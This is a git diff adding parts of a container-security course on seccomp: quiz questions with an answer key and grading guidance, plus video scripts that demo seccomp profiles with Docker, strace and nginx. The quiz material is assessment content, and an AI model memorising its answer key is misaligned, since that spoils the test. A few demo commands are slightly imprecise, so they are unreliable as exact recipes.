that allow only 50-60 syscalls per service +2. Read-only root filesystems for all containers +3. Pod Security Standards set to "Restricted" +4. Network policies limiting inter-pod communication + +During a security audit, penetration testers successfully compromise a vulnerable web service container and gain root access inside the container. However, they report being unable to: +- Mount filesystems or access host devices +- Use kernel features like bpf or keyctl +- Modify files outside of designated writable volumes +- Communicate with pods outside the allowed network policy + +Which layer of defense was MOST directly responsible for blocking the attempt to use kernel features like bpf? + +**A)** Read-only root filesystem +**B)** Custom Seccomp profile +**C)** Pod Security Standards +**D)** Network policies + +**Correct Answer:** B + +**Explanation:** +The custom Seccomp profile is most directly responsible for blocking syscalls related to kernel features like `bpf` (Berkeley Packet Filter) and `keyctl` (kernel keyring management). Seccomp operates at the system call level, preventing processes from invoking specific kernel operations regardless of their privilege level. Since the Seccomp profile only allows 50-60 syscalls, advanced kernel features like `bpf` and `keyctl`—which are commonly used in container escape attempts—would be blocked at the syscall boundary. + +**Why other options are less directly responsible:** +- **A** (Read-only root filesystem) prevents file modifications but does not block syscalls related to kernel features. An attacker could still attempt to call `bpf` or `keyctl` syscalls (they would be blocked by Seccomp, not by the read-only filesystem). +- **C** (Pod Security Standards) enforce security contexts and capabilities, which contribute to overall security but are enforced at the container runtime level, not at the syscall level. PSS "Restricted" would drop dangerous capabilities, but Seccomp provides the syscall-level enforcement. +- **D** (Network policies) control network traffic between pods, which is unrelated to kernel feature syscalls. + +**Defense in Depth Analysis:** +This scenario demonstrates the principle of defense in depth: +- **Seccomp** blocks dangerous syscalls (mount, bpf, keyctl) +- **Read-only filesystem** prevents persistence and binary planting +- **Pod Security Standards** drop capabilities and enforce security contexts +- **Network policies** limit lateral movement + +Even though one layer (the web application) was compromised, the other layers prevented further exploitation. This is exactly how layered security should work. + +**Learning Objective Tested:** Design a layered container security architecture and understand how different controls complement each other + +--- + +### Question 5: Seccomp Troubleshooting in Production + +**Question:** +Your team has deployed a containerized database application to production using a custom Seccomp profile. The application runs successfully for several days, but then starts failing intermittently with "Operation not permitted" errors during nightly backup jobs. The backup job involves creating a snapshot of the database and compressing it. + +You check the audit logs and find repeated Seccomp denials for syscall 165 (`mount`) during the backup window. The backup script uses the following command: + +```bash +tar -czf /backup/db-$(date +%Y%m%d).tar.gz /data +``` + +What is the MOST likely cause of this issue, and how should it be resolved? + +**A)** The backup job requires mounting a filesystem; add the `mount` syscall to the Seccomp profile +**B)** The `tar` command in the container is trying to use advanced filesystem features; investigate why tar is calling `mount` and either fix the tar command or carefully evaluate if mount should be allowed +**C)** The Seccomp profile is corrupted; rebuild it from scratch using strace +**D)** The database has grown too large; increase container resource limits + +**Correct Answer:** B + +**Explanation:** +This scenario requires critical thinking. The `mount` syscall being called by a backup operation is highly unusual and potentially suspicious. The correct approach is to investigate WHY tar is attempting to mount filesystems, as this is not normal behavior for a simple tar compression operation. + +**Possible root causes:** +1. The tar binary might be a malicious or modified version +2. The backup script might include additional commands not shown (like mounting network storage) +3. There could be a misconfiguration causing tar to access unusual filesystem features +4. The container might have been compromised and the "backup job" is actually an attack attempt + +**Correct resolution approach:** +1. **Investigate the tar binary:** Check its integrity and compare with known-good versions +2. **Review the complete backup script:** There may be additional commands that require mount +3. **Examine the /backup mount point:** Determine if it's a network mount (NFS, CIFS) that requires the mount syscall +4. **Consider alternatives:** Use volume mounts configured at container start rather than dynamic mounts + +**Why other options are incorrect:** +- **A** is incorrect and dangerous because blindly adding `mount` to the Seccomp profile reopens a critical attack vector. The `mount` syscall is blocked by default for good reason—it can be used to access host filesystems and escape the container. +- **C** is incorrect because the profile is working correctly (it's blocking mount as intended); rebuilding it won't change the fact that tar is trying to call mount. +- **D** is incorrect because resource limits are unrelated to syscall permissions; database size doesn't cause Seccomp denials. + +**Security Principle:** +This question tests the understanding that **not all Seccomp denials should be resolved by adding the blocked syscall**. Some denials indicate suspicious behavior that requires investigation. Always ask "WHY is this syscall being called?" before allowing it, especially for high-risk syscalls like `mount`, `ptrace`, `keyctl`, or `bpf`. + +**Best Practice Response:** +1. Investigate the root cause +2. If mount is legitimately needed (e.g., for NFS backup storage), use host-level mounts configured in the container/pod spec instead of allowing the syscall +3. Consider using an init container or sidecar for backup operations with a separate, slightly less restrictive profile +4. Document the investigation and decision in your security documentation + +**Learning Objective Tested:** +- Troubleshoot Seccomp denials with critical thinking +- Understand security implications of allowing specific syscalls +- Balance security requirements with operational needs +- Recognize that not all "Operation not permitted" errors should be fixed by allowing the operation + +--- + +## Answer Key Summary + +| Question | Correct Answer | Difficulty | Topic | +|----------|---------------|------------|-------| +| Q1 | B | Easy | Seccomp Fundamentals | +| Q2 | B | Medium | Profile Creation & Debugging | +| Q3 | B | Medium | Seccomp Actions | +| Q4 | B | Hard | Integrated Security Strategy | +| Q5 | B | Hard | Production Troubleshooting | + +--- + +## Assessment Guidelines + +### Module-Level Questions (Q1-Q3): +- **Purpose:** Verify understanding of core concepts from Module 3 +- **Passing Criteria:** 2 out of 3 correct (66%) +- **Time Limit:** 5 minutes +- **Retake Policy:** Unlimited retakes with randomized options + +### Final Assessment Questions (Q4-Q5): +- **Purpose:** Test ability to apply knowledge across multiple security domains +- **Passing Criteria:** Both questions correct for full marks; part of 10-question final exam +- **Time Limit:** Part of 20-minute final assessment +- **Retake Policy:** One retake after reviewing all course materials + +### Question Difficulty Calibration: +- **Easy (Q1):** Direct recall of concepts from video lectures +- **Medium (Q2-Q3):** Application of concepts to realistic scenarios +- **Hard (Q4-Q5):** Synthesis across multiple topics, critical thinking, and security judgment + +--- + +## Instructor Notes + +### Common Student Mistakes: + +**Q1:** Students may confuse Seccomp with network isolation or image scanning. Emphasize that Seccomp is specifically about syscall filtering. + +**Q2:** Students may select option A because `read` and `write` seem fundamental. Stress that nginx startup vs. runtime behavior requires different syscalls. + +**Q3:** Students may think `SCMP_ACT_LOG` provides security because it has "seccomp" in the name. Clarify the difference between monitoring and enforcement actions. + +**Q4:** Students may select C (Pod Security Standards) because it sounds comprehensive. Explain that PSS works at a higher level than syscall filtering. + +**Q5:** This question intentionally mimics real production scenarios where the "obvious" answer (add the syscall) is wrong. Many students will choose A. Use this to teach security judgment. + +### Discussion Topics (if using questions in live training): + +- **After Q2:** Discuss real-world debugging workflows and tools beyond those in the question +- **After Q3:** Show examples of profiles in different stages (development vs production) +- **After Q4:** Analyze a real container breach and map it to the defense layers +- **After Q5:** Facilitate group discussion on security vs. operational trade-offs + +### Adaptive Learning Recommendations: + +**If student misses Q1:** +→ Review Video 1, especially the section on syscall filtering +→ Complete Lab 3.1 with detailed observation of blocked vs. allowed syscalls + +**If student misses Q2:** +→ Review Video 2, focusing on the strace workflow +→ Complete Lab 3.2 with emphasis on iterative testing +→ Practice with the broken profile debugging exercise + +**If student misses Q3:** +→ Review the Seccomp actions table in course materials +→ Review Video 3 section on permissive mode vs. enforcement +→ Compare SCMP_ACT_LOG, SCMP_ACT_ERRNO, and SCMP_ACT_KILL in practice + +**If student misses Q4:** +→ Review the defense-in-depth section across all modules +→ Complete the integrated security lab (capstone) +→ Study the security layers diagram + +**If student misses Q5:** +→ Review Video 3 troubleshooting section +→ Discuss with instructor about security decision-making +→ Complete advanced troubleshooting lab with mentor guidance +→ Review case studies of production Seccomp incidents diff --git a/container-security-course/sample_module/module_questions.pdf b/container-security-course/sample_module/module_questions.pdf new file mode 100644 index 0000000..0560007 Binary files /dev/null and b/container-security-course/sample_module/module_questions.pdf differ diff --git a/container-security-course/sample_module/video_01_script.docx b/container-security-course/sample_module/video_01_script.docx new file mode 100644 index 0000000..253a795 Binary files /dev/null and b/container-security-course/sample_module/video_01_script.docx differ diff --git a/container-security-course/sample_module/video_01_script.md b/container-security-course/sample_module/video_01_script.md new file mode 100644 index 0000000..b89d95f --- /dev/null +++ b/container-security-course/sample_module/video_01_script.md @@ -0,0 +1,338 @@ +# Video Script: Introduction to Seccomp +**Module 3, Video 1 of 3** +**Estimated Duration:** 12-14 minutes +**Technical Setup:** 1920x1080 @ 30fps, 150% zoom on all screens + +--- + +## Pre-Production Checklist +- [ ] PowerPoint slides (5 slides) ready +- [ ] Terminal with large font (20-22 lines visible), dark theme +- [ ] Docker running with test containers +- [ ] Sample vulnerable container image built +- [ ] Code editor (VS Code) with JSON syntax highlighting +- [ ] Browser tabs: Docker docs, Linux syscall reference + +--- + +## VIDEO SCRIPT + +### SEGMENT 1: Hook and Context (0:00 - 1:30) +**[SCREEN: PPT Slide 1 - Title slide with dark background and code-themed graphics]** + +**NARRATION:** +"Welcome to Module 3: Seccomp Profiles in Practice. In the previous modules, we saw how containers can be exploited through kernel vulnerabilities, privileged access, and capability abuse. But what if we could prevent containers from even making dangerous system calls in the first place? That's exactly what Seccomp does, and it's one of the most powerful security mechanisms available for containers. + +In this video, we'll understand what Seccomp is, how it works at the kernel level, and analyze Docker's default Seccomp profile. By the end, you'll be able to view active profiles and test their restrictions hands-on." + +**[TRANSITION: Fade to PPT Slide 2]** + +--- + +### SEGMENT 2: What is Seccomp? (1:30 - 4:00) +**[SCREEN: PPT Slide 2 - Diagram showing Linux kernel with syscall filtering layer]** + +**NARRATION:** +"Seccomp stands for Secure Computing Mode. It's a Linux kernel feature that allows you to filter system calls—the interface between user space applications and the kernel. + +Think of it this way: every time a program wants to do something significant—open a file, create a network connection, change process permissions—it makes a system call to the kernel. The kernel has over 300 system calls available, but most applications only need a small subset. + +**[POINTER HIGHLIGHT: syscall layer in diagram]** + +Seccomp sits right at this boundary. When a process tries to make a syscall, Seccomp checks against an allowed list. If the syscall is permitted, it proceeds normally. If it's blocked, the call is rejected, and the process can be killed or simply get an error. + +**[TRANSITION: PPT Slide 3 - Three-column comparison]** + +This is critical for containers because if an attacker compromises your application, they're still constrained by the Seccomp profile. They can't make syscalls to mount filesystems, load kernel modules, or use advanced kernel features—even if they gain root inside the container." + +**[SCREEN: Terminal - maximize window]** + +**NARRATION:** +"Let me show you this in action. I have a simple container here. Let's start it without any Seccomp restrictions." + +**[TYPE COMMAND - pause at each word for visibility]:** +```bash +docker run --rm --security-opt seccomp=unconfined -it ubuntu:22.04 bash +``` + +**[COMMAND EXPLANATION while typing:]** +"The `--security-opt seccomp=unconfined` flag tells Docker to disable Seccomp entirely. This is dangerous in production, but useful for understanding what Seccomp prevents." + +**[PRESS ENTER, wait for container prompt]** + +--- + +### SEGMENT 3: Understanding System Calls (4:00 - 6:30) +**[SCREEN: Terminal - inside container]** + +**NARRATION:** +"Now we're inside the container with no Seccomp restrictions. Let's see what syscalls we can make. First, let's check what happens when we try to create a new user namespace." + +**[TYPE COMMAND:]** +```bash +unshare --user /bin/bash +``` + +**[PRESS ENTER - command succeeds]** + +**NARRATION:** +"That worked. User namespaces can be exploited for privilege escalation in certain scenarios. Now let's exit this container and start a new one WITH Docker's default Seccomp profile." + +**[TYPE:]** +```bash +exit +``` + +**[BACK TO HOST TERMINAL]** + +**[TYPE COMMAND:]** +```bash +docker run --rm -it ubuntu:22.04 bash +``` + +**NARRATION:** +"No special flags this time—Docker automatically applies its default Seccomp profile." + +**[PRESS ENTER, wait for container prompt]** + +**[TYPE COMMAND:]** +```bash +unshare --user /bin/bash +``` + +**[PRESS ENTER - command fails with error]** + +**NARRATION:** +"Notice the difference? We get 'Operation not permitted'. The Seccomp profile blocked the `unshare` syscall. The application tried to make the call, but the kernel—through Seccomp—rejected it before it could execute. + +This is the power of Seccomp: reducing the attack surface by blocking dangerous syscalls entirely." + +--- + +### SEGMENT 4: Docker's Default Seccomp Profile (6:30 - 9:30) +**[SCREEN: Code Editor - VS Code with Docker default seccomp profile JSON open]** + +**NARRATION:** +"Let's look at Docker's default Seccomp profile to understand what it's actually doing. This is a JSON file that defines which syscalls are allowed or blocked." + +**[SCROLL to top of file slowly]** + +**NARRATION:** +"At the top, we see the profile structure. The `defaultAction` is set to `SCMP_ACT_ERRNO`. This means: by default, if a syscall is NOT in our allowed list, it returns an error." + +**[HIGHLIGHT the line:]** +```json +"defaultAction": "SCMP_ACT_ERRNO", +``` + +**NARRATION:** +"Then we have an `architectures` array. Seccomp needs to know which CPU architectures this profile supports—x86_64, ARM, etc." + +**[SCROLL DOWN to syscalls section]** + +**NARRATION:** +"Here's the important part: the `syscalls` array. Each entry defines syscalls and their action." + +**[HIGHLIGHT a syscall entry:]** +```json +{ + "names": [ + "accept", + "accept4", + "access", + "adjtimex", + "alarm" + ], + "action": "SCMP_ACT_ALLOW" +} +``` + +**NARRATION (line by line):** +"- `names`: array of syscall names to apply this rule to +- `action`: what to do when these syscalls are invoked +- `SCMP_ACT_ALLOW` means: let these through + +So these five syscalls—accept, accept4, access, adjtimex, and alarm—are permitted." + +**[SCROLL DOWN to show blocked syscalls]** + +**NARRATION:** +"Now let's find some interesting blocked syscalls. I'll search for 'mount'." + +**[CTRL+F, search for "mount"]** + +**NARRATION:** +"You'll notice `mount` is NOT in the allowed list, which means it will trigger the default action: SCMP_ACT_ERRNO—an error. This prevents containers from mounting filesystems, which could be used to access host resources." + +**[SEARCH for "keyctl"]** + +**NARRATION:** +"Similarly, `keyctl` is blocked. This syscall manages the kernel keyring and has been exploited in container escapes. By blocking it, we close that attack vector." + +**[CLOSE search, scroll to conditional blocks]** + +**NARRATION:** +"Docker's profile also has conditional rules. For example, some syscalls are allowed only with specific arguments. Here's one for `clone`:" + +**[HIGHLIGHT:]** +```json +{ + "names": ["clone"], + "action": "SCMP_ACT_ALLOW", + "args": [ + { + "index": 0, + "value": 2114060288, + "op": "SCMP_CMP_MASKED_EQ" + } + ] +} +``` + +**NARRATION:** +"This says: allow `clone`, but only if argument 0 matches this specific value. This permits normal process creation but blocks dangerous clone operations like creating new namespaces without permission." + +--- + +### SEGMENT 5: Viewing Active Profiles (9:30 - 11:30) +**[SCREEN: Terminal - split screen with two panes]** + +**NARRATION:** +"Let's verify what profile is actually running on a container. I'll start a container in one terminal and inspect it from the host." + +**[LEFT PANE - TYPE:]** +```bash +docker run --name seccomp-test -d ubuntu:22.04 sleep 3600 +``` + +**NARRATION:** +"We've started a container named 'seccomp-test' that will sleep for an hour. Now let's inspect its Seccomp status." + +**[RIGHT PANE - TYPE:]** +```bash +docker inspect seccomp-test | grep -i seccomp +``` + +**[PRESS ENTER]** + +**NARRATION:** +"Docker's inspect output doesn't show the full profile, but we can check from the kernel's perspective. First, let's get the container's main process ID." + +**[TYPE:]** +```bash +docker inspect --format '{{.State.Pid}}' seccomp-test +``` + +**[COMMAND RETURNS PID, e.g., 12345]** + +**NARRATION:** +"Great, the process ID is 12345. Now we can check the Seccomp status in the proc filesystem." + +**[TYPE - replacing 12345 with actual PID:]** +```bash +grep Seccomp /proc/12345/status +``` + +**[OUTPUT shows:]** +``` +Seccomp: 2 +``` + +**NARRATION:** +"A Seccomp value of 2 means 'filtering mode' is active—a Seccomp profile is being enforced. If this were 0, it would mean no Seccomp. Value 1 is strict mode, which is rarely used." + +**[TYPE:]** +```bash +docker stop seccomp-test && docker rm seccomp-test +``` + +--- + +### SEGMENT 6: Lab Exercise Introduction (11:30 - 12:30) +**[SCREEN: PPT Slide 4 - Lab exercise overview]** + +**NARRATION:** +"Now it's your turn. In Lab 3.1, you'll: + +1. Start containers with and without Seccomp +2. Test various syscalls to see which are blocked +3. Read and analyze Docker's default profile +4. Identify specific blocked syscalls and understand why + +You'll experiment with syscalls like `mount`, `unshare`, `keyctl`, and `bpf` to see Seccomp enforcement in action." + +**[TRANSITION: PPT Slide 5 - Key takeaways]** + +--- + +### SEGMENT 7: Wrap-Up (12:30 - 13:00) +**[SCREEN: PPT Slide 5 - Summary points]** + +**NARRATION:** +"Let's recap what we covered: + +✅ Seccomp filters system calls at the kernel level +✅ Docker applies a default profile that blocks ~50+ dangerous syscalls +✅ Blocked syscalls include mount, keyctl, unshare, and many others +✅ You can inspect Seccomp status through /proc filesystem +✅ Seccomp dramatically reduces attack surface even if an attacker gains root + +In the next video, we'll go hands-on building our own custom Seccomp profiles from scratch, tailored to specific applications. This is where Seccomp becomes truly powerful. + +See you in the next lesson!" + +**[FADE OUT]** + +--- + +## POST-PRODUCTION NOTES + +### B-Roll Suggestions: +- Close-up screen recordings of syscall documentation +- Animated diagram of syscall flow with Seccomp interception +- Overlay graphics showing syscall counts (total vs. blocked) + +### Audio Notes: +- Add subtle tech/code background music at 10% volume during intro and outro +- Boost audio during terminal segments for clarity +- Add soft "pop" sound effect when commands execute successfully +- Add subtle "error" sound when blocked syscalls fail + +### Text Overlays: +- Display syscall names in large text when first mentioned +- Show "ALLOWED" or "BLOCKED" labels during demos +- Timer in corner during longer command executions +- Key term definitions as lower-thirds + +### Timing Checkpoints: +- 0:00-1:30: Intro (under 2 min ✓) +- 1:30-6:30: Concept + Live Demo (5 min) +- 6:30-11:30: Profile Analysis (5 min) +- 11:30-13:00: Lab + Wrap (1.5 min) +- **Total: 13:00** (within 12-14 min target) + +### Files Needed: +- `slides_module3_video1.pptx` (5 slides) +- `default-seccomp-profile.json` (from Docker GitHub) +- `lab_3.1_instructions.md` +- `lab_3.1_validation.sh` (automated checker) + +--- + +## INSTRUCTOR NOTES + +**Common Issues:** +- If `unshare` works even with default Seccomp, check Docker version (requires 1.12+) +- Some distributions (like Debian) may have different default profiles +- PID retrieval may fail if container exits quickly—use `sleep` as shown + +**Variation Options:** +- Can demonstrate with `podman` as alternative to Docker +- Can show `seccomp-tools` CLI for advanced analysis +- Can briefly show BPF bytecode output (advanced audiences only) + +**Accessibility:** +- Ensure terminal font size shows exactly 20-22 lines +- Use high-contrast theme (light text on dark background) +- Speak commands aloud before typing +- Pause after each command output for 2-3 seconds diff --git a/container-security-course/sample_module/video_01_script.pdf b/container-security-course/sample_module/video_01_script.pdf new file mode 100644 index 0000000..11e7adc Binary files /dev/null and b/container-security-course/sample_module/video_01_script.pdf differ diff --git a/container-security-course/sample_module/video_02_script.docx b/container-security-course/sample_module/video_02_script.docx new file mode 100644 index 0000000..48c988d Binary files /dev/null and b/container-security-course/sample_module/video_02_script.docx differ diff --git a/container-security-course/sample_module/video_02_script.md b/container-security-course/sample_module/video_02_script.md new file mode 100644 index 0000000..b6812e9 --- /dev/null +++ b/container-security-course/sample_module/video_02_script.md @@ -0,0 +1,470 @@ +# Video Script: Creating Custom Seccomp Profiles +**Module 3, Video 2 of 3** +**Estimated Duration:** 14-16 minutes +**Technical Setup:** 1920x1080 @ 30fps, 150% zoom on all screens + +--- + +## Pre-Production Checklist +- [ ] PowerPoint slides (4 slides) ready +- [ ] Terminal with strace installed +- [ ] VS Code with JSON schema for Seccomp +- [ ] nginx container image pulled +- [ ] Python Flask test app prepared +- [ ] Empty JSON template files ready +- [ ] auditd configured (optional, for advanced demo) + +--- + +## VIDEO SCRIPT + +### SEGMENT 1: Introduction and Motivation (0:00 - 1:30) +**[SCREEN: PPT Slide 1 - Title: "Building Custom Seccomp Profiles"]** + +**NARRATION:** +"Welcome back! In the previous video, we explored Docker's default Seccomp profile and saw how it blocks dangerous syscalls. But here's the thing: the default profile is a compromise. It needs to work for thousands of different applications, so it allows hundreds of syscalls that YOUR specific application might never use. + +**[TRANSITION: PPT Slide 2 - Diagram showing three security levels]** + +**[SLIDE SHOWS: No Seccomp (300+ syscalls) → Default Profile (~250 allowed) → Custom Profile (~40-60 allowed)]** + +Every allowed syscall is a potential attack vector. By creating custom Seccomp profiles tailored to your application, you can reduce the attack surface by 80% or more. + +In this video, we'll build custom Seccomp profiles from scratch. You'll learn to: +- Identify which syscalls your application actually needs using strace +- Write Seccomp profile JSON +- Test and validate your profiles +- Handle multi-process applications + +Let's dive in." + +--- + +### SEGMENT 2: Understanding the Workflow (1:30 - 3:00) +**[SCREEN: PPT Slide 3 - Workflow diagram with 4 steps]** + +**NARRATION:** +"Creating custom Seccomp profiles follows a four-step process: + +**[HIGHLIGHT each step as mentioned:]** + +**Step 1: Discover** - Run your application with strace to capture all syscalls it makes +**Step 2: Analyze** - Extract unique syscalls and remove duplicates +**Step 3: Build** - Create the Seccomp JSON with those syscalls +**Step 4: Test** - Run your app with the profile and fix any issues + +This is iterative. Your first profile might be too restrictive and break functionality. That's normal—we'll debug and refine it. + +Let's build a profile for nginx, a popular web server." + +--- + +### SEGMENT 3: Step 1 - Discovering Syscalls with strace (3:00 - 6:30) +**[SCREEN: Terminal - fullscreen]** + +**NARRATION:** +"First, we'll run nginx under strace to see what syscalls it uses. strace is a diagnostic tool that intercepts and logs all system calls a process makes." + +**[TYPE COMMAND:]** +```bash +docker run --rm --name nginx-trace nginx:alpine /bin/sh -c "strace -c nginx -g 'daemon off;' 2>&1" | head -40 +``` + +**NARRATION (while typing):** +"Let me break this down: +- We're running nginx in a container +- `strace -c` gives us a summary count of syscalls +- `nginx -g 'daemon off;'` runs nginx in foreground +- We redirect stderr because strace outputs there" + +**[PRESS ENTER - output shows syscall summary]** + +**NARRATION:** +"This gives us a summary, but we need the actual syscall names. Let's capture them properly." + +**[TYPE COMMAND:]** +```bash +docker run --rm --security-opt seccomp=unconfined nginx:alpine sh -c "apk add strace && strace -f -o /tmp/nginx.strace nginx -g 'daemon off;'" & +``` + +**[COMMAND EXPLANATION:]** +"- `--security-opt seccomp=unconfined` - disable Seccomp so strace can see everything +- `-f` - follow child processes (nginx spawns workers) +- `-o /tmp/nginx.strace` - output to file +- We run this in background with `&`" + +**[PRESS ENTER, wait 3 seconds]** + +**NARRATION:** +"Now let's send some test traffic to nginx to capture syscalls during actual operation." + +**[TYPE:]** +```bash +docker exec $(docker ps -q) sh -c "wget -q -O- http://localhost" +``` + +**[WAIT 2 seconds]** + +**[TYPE:]** +```bash +docker stop $(docker ps -q) +``` + +**NARRATION:** +"Great, nginx handled a request. Now let's extract the strace data. We'll copy it from the container before it's deleted." + +**[TYPE - demonstrating the extraction in a new container:]** +```bash +docker run --rm --security-opt seccomp=unconfined nginx:alpine sh -c " +apk add -q strace && +strace -f -o /tmp/nginx.strace nginx -g 'daemon off;' 2>/dev/null & +sleep 3 && pkill nginx && +cat /tmp/nginx.strace" > nginx_strace_output.txt +``` + +**[PRESS ENTER, wait for completion]** + +**NARRATION:** +"Now we have the complete strace output. Let's extract just the unique syscall names." + +**[TYPE:]** +```bash +grep -oP '^[^\(]+' nginx_strace_output.txt | sort -u > nginx_syscalls.txt +``` + +**[COMMAND EXPLANATION:]** +"This grep command extracts syscall names before the opening parenthesis, then we sort and get unique values." + +**[TYPE:]** +```bash +cat nginx_syscalls.txt +``` + +**[OUTPUT shows list like: accept4, bind, brk, close, epoll_create, etc.]** + +**NARRATION:** +"Perfect! We've identified all the syscalls nginx needs. I count about 45-50 unique syscalls here. Compare that to the 250+ that Docker's default profile allows." + +--- + +### SEGMENT 4: Step 2 - Building the Profile (6:30 - 10:00) +**[SCREEN: Code Editor - VS Code split with nginx_syscalls.txt on left, new seccomp-nginx.json on right]** + +**NARRATION:** +"Now we'll create our Seccomp profile JSON. Let me start with the basic structure." + +**[BEGIN TYPING in right pane - speak each section as you type:]** + +```json +{ + "defaultAction": "SCMP_ACT_ERRNO", + "architectures": [ + "SCMP_ARCH_X86_64", + "SCMP_ARCH_X86", + "SCMP_ARCH_X32" + ], + "syscalls": [ + { + "names": [], + "action": "SCMP_ACT_ALLOW" + } + ] +} +``` + +**NARRATION (line by line as typing):** +"- **defaultAction**: SCMP_ACT_ERRNO - block everything by default with an error +- **architectures**: We support x86_64, x86, and x32 +- **syscalls array**: This will hold our allowed syscalls +- **action**: SCMP_ACT_ALLOW - permit these specific syscalls" + +**[PAUSE at the empty "names" array]** + +**NARRATION:** +"Now I need to populate this names array with our syscalls from the strace output. Let me write a quick command to format this." + +**[SCREEN: Terminal - bottom 1/3 of screen, code editor still visible above]** + +**[TYPE:]** +```bash +cat nginx_syscalls.txt | awk '{print " \""$1"\","}' | head -20 +``` + +**[OUTPUT shows formatted syscall names with quotes and commas]** + +**NARRATION:** +"This formats our syscalls as JSON array elements. Let me get the complete list and copy it." + +**[TYPE:]** +```bash +cat nginx_syscalls.txt | awk '{print " \""$1"\","}' | pbcopy +``` + +**NARRATION:** +"Actually, let me do this properly with all syscalls. I'll create a Python script to build the full profile." + +**[SCREEN: Code Editor - new file build_profile.py]** + +**[TYPE PYTHON SCRIPT - explain as you go:]** + +```python +#!/usr/bin/env python3 +import json + +# Read syscalls from strace output +with open('nginx_syscalls.txt', 'r') as f: + syscalls = [line.strip() for line in f if line.strip()] + +# Build Seccomp profile +profile = { + "defaultAction": "SCMP_ACT_ERRNO", + "architectures": [ + "SCMP_ARCH_X86_64", + "SCMP_ARCH_X86", + "SCMP_ARCH_X32" + ], + "syscalls": [ + { + "names": syscalls, + "action": "SCMP_ACT_ALLOW" + } + ] +} + +# Write to JSON file +with open('seccomp-nginx.json', 'w') as f: + json.dump(profile, f, indent=2) + +print(f"✓ Created profile with {len(syscalls)} allowed syscalls") +``` + +**[SAVE FILE - Ctrl+S]** + +**[SCREEN: Terminal]** + +**[TYPE:]** +```bash +python3 build_profile.py +``` + +**[OUTPUT:]** +``` +✓ Created profile with 47 allowed syscalls +``` + +**NARRATION:** +"Excellent! We've created a Seccomp profile with just 47 allowed syscalls—an 81% reduction from Docker's default." + +**[SCREEN: Code Editor - open seccomp-nginx.json]** + +**[SCROLL through the file slowly]** + +**NARRATION:** +"Here's our complete profile. Look at the syscalls: accept4, bind, brk, clone, close, epoll_wait, read, write... these are exactly what nginx needs to function. Nothing more, nothing less." + +--- + +### SEGMENT 5: Step 3 - Testing the Profile (10:00 - 12:30) +**[SCREEN: Terminal]** + +**NARRATION:** +"Time to test! Let's run nginx with our custom profile and see if it works." + +**[TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nginx.json -p 8080:80 nginx:alpine +``` + +**[COMMAND RUNS - nginx starts successfully]** + +**NARRATION:** +"It started! Now let's test if it actually serves web pages." + +**[SCREEN: Terminal split - nginx running on left, curl on right]** + +**[RIGHT PANE - TYPE:]** +```bash +curl http://localhost:8080 +``` + +**[HTML OUTPUT shows - nginx welcome page]** + +**NARRATION:** +"Perfect! We get the nginx welcome page. Our profile works. Let me test a few more operations to make sure." + +**[TYPE:]** +```bash +curl -I http://localhost:8080 +``` + +**[HEADERS display successfully]** + +**[TYPE:]** +```bash +for i in {1..10}; do curl -s http://localhost:8080 > /dev/null && echo "Request $i: OK"; done +``` + +**[OUTPUT shows 10 successful requests]** + +**NARRATION:** +"All requests successful. Our minimal profile allows nginx to operate normally while blocking 80% of syscalls. This dramatically reduces what an attacker can do if they compromise nginx." + +--- + +### SEGMENT 6: Handling Edge Cases (12:30 - 14:30) +**[SCREEN: Terminal]** + +**NARRATION:** +"But what if our profile is too restrictive? Let me show you what happens when we accidentally block something nginx needs." + +**[SCREEN: Code Editor - seccomp-nginx.json]** + +**NARRATION:** +"I'm going to manually remove the `epoll_wait` syscall from our profile. nginx uses this for event handling, so this should break things." + +**[EDIT the file - remove epoll_wait from the names array]** + +**[SAVE]** + +**[SCREEN: Terminal]** + +**[TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nginx.json nginx:alpine +``` + +**[CONTAINER STARTS but then FAILS or HANGS]** + +**NARRATION:** +"See? nginx can't function without epoll_wait. But the error message isn't very clear. This is where debugging gets tricky. In the next video, we'll cover advanced troubleshooting techniques." + +**[STOP the container - Ctrl+C]** + +**NARRATION:** +"For now, let me restore epoll_wait and show you a best practice: testing incrementally." + +**[SCREEN: Code Editor - restore epoll_wait]** + +**NARRATION:** +"When you build custom profiles, test each application feature: +- Basic startup +- Handling requests +- Logging +- Signal handling +- Graceful shutdown + +If anything breaks, check your syscalls. Often you'll discover edge cases that only appear under specific conditions—like nginx reloading configuration or handling SSL connections." + +--- + +### SEGMENT 7: Lab Exercise - Python Flask App (14:30 - 15:30) +**[SCREEN: PPT Slide 4 - Lab overview]** + +**NARRATION:** +"Now it's your turn. In Lab 3.2, you'll create custom Seccomp profiles for: + +**1. A Python Flask web application** +I've provided a sample Flask app. You'll: +- Run it with strace +- Extract syscalls +- Build a custom profile +- Test and validate + +**2. A multi-process application** +You'll handle an app that spawns child processes and needs different syscalls at different lifecycle stages. + +You'll use everything we covered: strace, profile building, testing, and debugging. + +The lab includes validation scripts that will check: +- ✓ Profile syntax is valid +- ✓ Application runs successfully +- ✓ No unnecessary syscalls are allowed +- ✓ Key functionality works (HTTP requests, database access, etc.) + +--- + +### SEGMENT 8: Wrap-Up (15:30 - 16:00) +**[SCREEN: PPT Slide 5 - Key takeaways]** + +**NARRATION:** +"Let's recap what we've learned: + +✅ **strace** is your primary tool for discovering syscalls +✅ Custom profiles can reduce attack surface by **80%+** +✅ Profile structure: defaultAction, architectures, syscalls array +✅ Always test thoroughly before production +✅ Document which features you've tested + +In the next video, we'll dive into advanced troubleshooting: reading audit logs, debugging Seccomp denials, and strategies for maintaining profiles as applications evolve. + +See you there!" + +**[FADE OUT]** + +--- + +## POST-PRODUCTION NOTES + +### B-Roll Suggestions: +- Screen recording of strace output scrolling (sped up 3x) +- Animated JSON structure being built +- Side-by-side comparison: default profile vs custom (syscall count visualization) +- Graph showing attack surface reduction + +### Audio Notes: +- Background music during intro/outro only +- Clear typing sounds during code sections +- Success "ding" when tests pass +- Add echo effect when saying "80% reduction" for emphasis + +### Text Overlays: +- Syscall count comparisons (250+ → 47) +- Command explanations during complex bash commands +- Highlight key JSON fields when first introduced +- Step numbers (1/4, 2/4, etc.) during workflow section + +### Timing Checkpoints: +- 0:00-3:00: Intro + Workflow (3 min) +- 3:00-6:30: strace Discovery (3.5 min) +- 6:30-10:00: Profile Building (3.5 min) +- 10:00-12:30: Testing (2.5 min) +- 12:30-15:30: Edge Cases + Lab (3 min) +- 15:30-16:00: Wrap-up (0.5 min) +- **Total: 16:00** (within 14-16 min target) + +### Files Needed: +- `slides_module3_video2.pptx` (5 slides) +- 